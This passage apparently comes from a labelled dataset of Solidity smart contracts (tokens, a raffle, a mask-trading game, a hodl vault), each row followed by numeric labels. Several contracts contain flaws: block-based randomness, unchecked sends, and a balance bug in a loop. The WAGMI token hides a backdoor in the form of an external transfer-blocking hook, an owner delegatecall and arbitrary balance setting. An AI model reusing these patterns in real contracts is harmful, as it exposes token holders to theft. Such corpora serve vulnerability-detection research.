RaffleResult(raffleId, 0, address(0), 0, 0, 0, 0, 0, 0, address(0), address(0), 0);
raffleId++;
nextTicket = 1;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == rakeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == rakeAddress) {
selfdestruct(rakeAddress);
}
}
} | 0 | 1,084 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public
{
totalSupply = initialSupply * 10**18;
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
_value = _value * (10**18);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract DaddyToken is owned, TokenERC20 {
uint8 public decimals = 18;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public sellTokenPerEther;
uint256 public buyTokenPerEther;
bool public purchasingAllowed = true;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function DaddyToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public
{}
function distributeToken(address[] addresses, uint256 _value) onlyOwner public returns (bool) {
for (uint i = 0; i < addresses.length; i++) {
_value = _value * 10**18;
balanceOf[owner] -= _value;
balanceOf[addresses[i]] += _value;
Transfer(owner, addresses[i], _value);
}
}
function enablePurchasing() onlyOwner public {
require (msg.sender == owner);
purchasingAllowed = true;
}
function disablePurchasing() onlyOwner public {
require (msg.sender == owner);
purchasingAllowed = false;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public returns (bool) {
mintedAmount = mintedAmount * 10**18;
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellTokenPerEther = newSellPrice;
buyTokenPerEther = newBuyPrice;
}
function() payable public {
require(msg.value > 0);
require(purchasingAllowed);
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * buyTokenPerEther);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier = ((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) + ((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) + ((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) + ((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balanceOf[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellTokenPerEther);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellTokenPerEther);
}
} | 0 | 1,181 |
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract MyToken is owned{
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
function MyToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
address centralMinter
) {
if(centralMinter != 0 ) owner = msg.sender;
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) {
if (frozenAccount[msg.sender]) throw;
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if(msg.sender.balance<minBalanceForAccounts) sell((minBalanceForAccounts-msg.sender.balance)/sellPrice);
if(_to.balance<minBalanceForAccounts) _to.send(sell((minBalanceForAccounts-_to.balance)/sellPrice));
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() returns (uint amount){
amount = msg.value / buyPrice;
if (balanceOf[this] < amount) throw;
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint amount) returns (uint revenue){
if (balanceOf[msg.sender] < amount ) throw;
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
revenue = amount * sellPrice;
msg.sender.send(revenue);
Transfer(msg.sender, this, amount);
return revenue;
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
} | 1 | 2,478 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeBoxCoin is ERC20 {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function SafeBoxCoin() public {
_symbol = "SBC";
_name = "SafeBoxCoin";
_decimals = 18;
_totalSupply = 252000000;
balances[msg.sender] = _totalSupply;
}
function transfer(address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) external view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) external returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SafeBox is SafeBoxCoin {
mapping (address => user) private users;
user private user_object;
address private owner;
address private account_1;
address private account_2;
uint256 private divided_value;
Safe safe_object;
mapping (address => mapping (string => Safe)) private map_data_safe_benefited;
Prices public prices;
struct Prices {
uint256 create;
uint256 edit;
uint256 active_contract;
}
function SafeBox() public {
owner = msg.sender;
account_1 = 0x8Fc18dc65E432CaA9583F7024CC7B40ed99fd8e4;
account_2 = 0x51cbdb8CE8dE444D0cBC0a2a64066A852e14ff51;
prices.create = 1000;
prices.edit = 1000;
prices.active_contract = 7500;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function set_prices(uint256 _create, uint256 _edit, uint256 _active_contract) public onlyOwner returns (bool success){
prices.create = _create;
prices.edit = _edit;
prices.active_contract = _active_contract;
return true;
}
function _transfer(uint256 _value) private returns (bool) {
require(owner != address(0));
require(_value <= SafeBoxCoin.balances[msg.sender]);
SafeBoxCoin.balances[msg.sender] = SafeMath.sub(SafeBoxCoin.balances[msg.sender], _value);
divided_value = _value / 2;
SafeBoxCoin.balances[owner] = SafeMath.add(SafeBoxCoin.balances[owner], divided_value);
SafeBoxCoin.balances[account_1] = SafeMath.add(SafeBoxCoin.balances[account_1], divided_value / 2);
SafeBoxCoin.balances[account_2] = SafeMath.add(SafeBoxCoin.balances[account_2], divided_value / 2);
emit Transfer(msg.sender, owner, _value);
return true;
}
function set_status_user(address _address, bool _active_contract) public onlyOwner returns (bool success) {
users[_address].active_contract = _active_contract;
return true;
}
function set_active_contract() public returns (bool success) {
require(_transfer(prices.active_contract));
users[msg.sender].active_contract = true;
return true;
}
function get_status_user(address _address) public view returns (
bool _user_exists, bool _active_contract){
_active_contract = users[_address].active_contract;
_user_exists = users[_address].exists;
return (_active_contract, _user_exists);
}
struct user {
bool exists;
address endereco;
bool active_contract;
}
function _create_user(address _address) private {
user_object = user(true, _address, true);
users[_address] = user_object;
}
struct Safe {
address safe_owner_address;
bool exists;
string safe_name;
address benefited_address;
string data;
}
function create_safe(address _benef, string _data, string _safe_name) public returns (bool success) {
require(map_data_safe_benefited[_benef][_safe_name].exists == false);
require(_transfer(prices.create));
if(users[msg.sender].exists == false){
_create_user(msg.sender);
}
safe_object = Safe(msg.sender, true, _safe_name, _benef, _data);
map_data_safe_benefited[_benef][_safe_name] = safe_object;
return true;
}
function edit_safe(address _benef, string _new_data,
string _safe_name) public returns (bool success) {
require(map_data_safe_benefited[_benef][_safe_name].exists == true);
require(users[msg.sender].exists == true);
require(_transfer(prices.edit));
map_data_safe_benefited[_benef][_safe_name].data = _new_data;
return true;
}
function get_data_benefited(address _benef,
string _safe_name) public view returns (string) {
require(map_data_safe_benefited[_benef][_safe_name].exists == true);
address _safe_owner_address = map_data_safe_benefited[_benef][_safe_name].safe_owner_address;
require(users[_safe_owner_address].active_contract == true);
return map_data_safe_benefited[_benef][_safe_name].data;
}
} | 1 | 3,773 |
pragma solidity ^0.4.24;
contract TempleInterface {
function purchaseFor(address _referredBy, address _customerAddress) public payable returns (uint256);
}
contract TribalWarfare {
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
modifier notContract() {
require(tx.origin == msg.sender);
_;
}
modifier notPaused() {
require(paused == false);
_;
}
modifier easyOnGas() {
require(tx.gasprice < 99999999999);
_;
}
event onTokenSold(
uint256 indexed tokenId,
uint256 price,
address prevOwner,
address newOwner,
string name
);
event onRoundEnded(
uint256 indexed roundNumber,
uint256 indexed tokenId,
address owner,
uint256 winnings
);
uint256 private increaseRatePercent = 135;
uint256 private devFeePercent = 5;
uint256 private currentPotPercent = 5;
uint256 private nextPotPercent = 5;
uint256 private exchangeTokenPercent = 10;
uint256 private previousOwnerPercent = 110;
uint256 private initialRoundDuration = 12 minutes;
mapping (uint256 => address) public tokenIndexToOwner;
mapping (address => uint256) private ownershipTokenCount;
address public contractOwner;
uint256 public currentDevFee = 0;
address public templeOfEthaddress = 0x0e21902d93573c18fd0acbadac4a5464e9732f54;
TempleInterface public templeContract;
bool public paused = false;
uint256 public currentPot = 0;
uint256 public nextPot = 0;
uint256 public roundNumber = 0;
uint256 public roundEndingTime = 0;
uint256 public lastFlip = 0;
struct TribalMask {
string name;
uint256 basePrice;
uint256 currentPrice;
uint256 timePowerMinutes;
}
TribalMask [6] public tribalMasks;
constructor () public {
contractOwner = msg.sender;
templeContract = TempleInterface(templeOfEthaddress);
paused=true;
TribalMask memory _Yucatec = TribalMask({
name: "Yucatec",
basePrice: 0.018 ether,
currentPrice: 0.018 ether,
timePowerMinutes: 12 minutes
});
tribalMasks[0] = _Yucatec;
TribalMask memory _Chiapas = TribalMask({
name: "Chiapas",
basePrice: 0.020 ether,
currentPrice: 0.020 ether,
timePowerMinutes: 10 minutes
});
tribalMasks[1] = _Chiapas;
TribalMask memory _Kekchi = TribalMask({
name: "Kekchi",
basePrice: 0.022 ether,
currentPrice: 0.022 ether,
timePowerMinutes: 8 minutes
});
tribalMasks[2] = _Kekchi;
TribalMask memory _Chontal = TribalMask({
name: "Chontal",
basePrice: 0.024 ether,
currentPrice: 0.024 ether,
timePowerMinutes: 6 minutes
});
tribalMasks[3] = _Chontal;
TribalMask memory _Akatek = TribalMask({
name: "Akatek",
basePrice: 0.028 ether,
currentPrice: 0.028 ether,
timePowerMinutes: 4 minutes
});
tribalMasks[4] = _Akatek;
TribalMask memory _Itza = TribalMask({
name: "Itza",
basePrice: 0.030 ether,
currentPrice: 0.030 ether,
timePowerMinutes: 2 minutes
});
tribalMasks[5] = _Itza;
_transfer(0x0, contractOwner, 0);
_transfer(0x0, contractOwner, 1);
_transfer(0x0, contractOwner, 2);
_transfer(0x0, contractOwner, 3);
_transfer(0x0, contractOwner, 4);
_transfer(0x0, contractOwner, 5);
}
function getTribalMask(uint256 _tokenId) public view returns (
string maskName,
uint256 basePrice,
uint256 currentPrice,
address currentOwner
) {
TribalMask storage mask = tribalMasks[_tokenId];
maskName = mask.name;
basePrice = mask.basePrice;
currentPrice = priceOf(_tokenId);
currentOwner = tokenIndexToOwner[_tokenId];
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function () public payable {
currentPot = currentPot + SafeMath.div(msg.value,2);
nextPot = nextPot + SafeMath.div(msg.value,2);
}
function start() public payable onlyOwner {
roundNumber = 1;
roundEndingTime = now + initialRoundDuration;
currentPot = currentPot + SafeMath.div(msg.value,2);
nextPot = nextPot + SafeMath.div(msg.value,2);
paused = false;
}
function isRoundEnd() public view returns (bool){
return (now>roundEndingTime);
}
function newRound() internal {
tokenIndexToOwner[lastFlip].transfer(currentPot);
emit onRoundEnded(roundNumber, lastFlip, tokenIndexToOwner[lastFlip], currentPot);
tribalMasks[0].currentPrice=tribalMasks[0].basePrice;
tribalMasks[1].currentPrice=tribalMasks[1].basePrice;
tribalMasks[2].currentPrice=tribalMasks[2].basePrice;
tribalMasks[3].currentPrice=tribalMasks[3].basePrice;
tribalMasks[4].currentPrice=tribalMasks[4].basePrice;
tribalMasks[5].currentPrice=tribalMasks[5].basePrice;
roundNumber++;
roundEndingTime = now + initialRoundDuration;
currentPot = nextPot;
nextPot = 0;
}
function purchase(uint256 _tokenId , address _referredBy) public payable notContract notPaused easyOnGas {
if (now >= roundEndingTime){
newRound();
}
uint256 currentPrice = tribalMasks[_tokenId].currentPrice;
require(msg.value >= currentPrice);
address oldOwner = tokenIndexToOwner[_tokenId];
address newOwner = msg.sender;
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
uint256 previousOwnerGets = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),previousOwnerPercent);
uint256 exchangeTokensAmount = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),exchangeTokenPercent);
uint256 devFeeAmount = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),devFeePercent);
currentPot = currentPot + SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),currentPotPercent);
nextPot = nextPot + SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),nextPotPercent);
if (msg.value > currentPrice){
if (now < roundEndingTime){
nextPot = nextPot + (msg.value - currentPrice);
}else{
msg.sender.transfer(msg.value - currentPrice);
}
}
currentDevFee = currentDevFee + devFeeAmount;
templeContract.purchaseFor.value(exchangeTokensAmount)(_referredBy, msg.sender);
_transfer(oldOwner, newOwner, _tokenId);
tribalMasks[_tokenId].currentPrice = SafeMath.mul(SafeMath.div(currentPrice,100),increaseRatePercent);
roundEndingTime = roundEndingTime + tribalMasks[_tokenId].timePowerMinutes;
lastFlip = _tokenId;
if (oldOwner != address(this)) {
if (oldOwner.send(previousOwnerGets)){}
}
emit onTokenSold(_tokenId, currentPrice, oldOwner, newOwner, tribalMasks[_tokenId].name);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
if(isRoundEnd()){
return tribalMasks[_tokenId].basePrice;
}
return tribalMasks[_tokenId].currentPrice;
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
uint length;
assembly { length := extcodesize(_to) }
require (length == 0);
ownershipTokenCount[_to]++;
tokenIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
}
}
function collectDevFees() public onlyOwner {
if (currentDevFee < address(this).balance){
uint256 amount = currentDevFee;
currentDevFee = 0;
contractOwner.transfer(amount);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 291 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract WAGMI is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000000;
string public name = "WAGMI";
string public symbol = "WAGMI";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _reallyGoHere, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = amount;
emit Transfer(address(0x0), _reallyGoHere[i], amount);
}
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 1 | 2,697 |
pragma solidity ^0.4.13;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract asdfgh {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1546505500;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != 0x6C3e1e834f780ECa69d01C5f3E9C6F5AFb93eb55) { throw; }
require (block.timestamp > partyTime);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(0x6C3e1e834f780ECa69d01C5f3E9C6F5AFb93eb55, amount);
}
} | 0 | 1,228 |
pragma solidity ^0.4.23;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract TokenLiquidityContract {
using SafeMath for uint256;
address public admin;
address public traded_token;
uint256 public eth_seed_amount;
uint256 public traded_token_seed_amount;
uint256 public commission_ratio;
uint256 public eth_balance;
uint256 public traded_token_balance;
bool public eth_is_seeded;
bool public traded_token_is_seeded;
bool public trading_deactivated;
modifier only_admin() {
require(msg.sender == admin);
_;
}
modifier trading_activated() {
require(trading_deactivated == false);
_;
}
constructor(address _traded_token,uint256 _eth_seed_amount, uint256 _traded_token_seed_amount, uint256 _commission_ratio) public {
admin = tx.origin;
traded_token = _traded_token;
eth_seed_amount = _eth_seed_amount;
traded_token_seed_amount = _traded_token_seed_amount;
commission_ratio = _commission_ratio;
}
function transferTokensThroughProxyToContract(address _from, address _to, uint256 _amount) private {
traded_token_balance = traded_token_balance.add(_amount);
require(Token(traded_token).transferFrom(_from,_to,_amount));
}
function transferTokensFromContract(address _to, uint256 _amount) private {
traded_token_balance = traded_token_balance.sub(_amount);
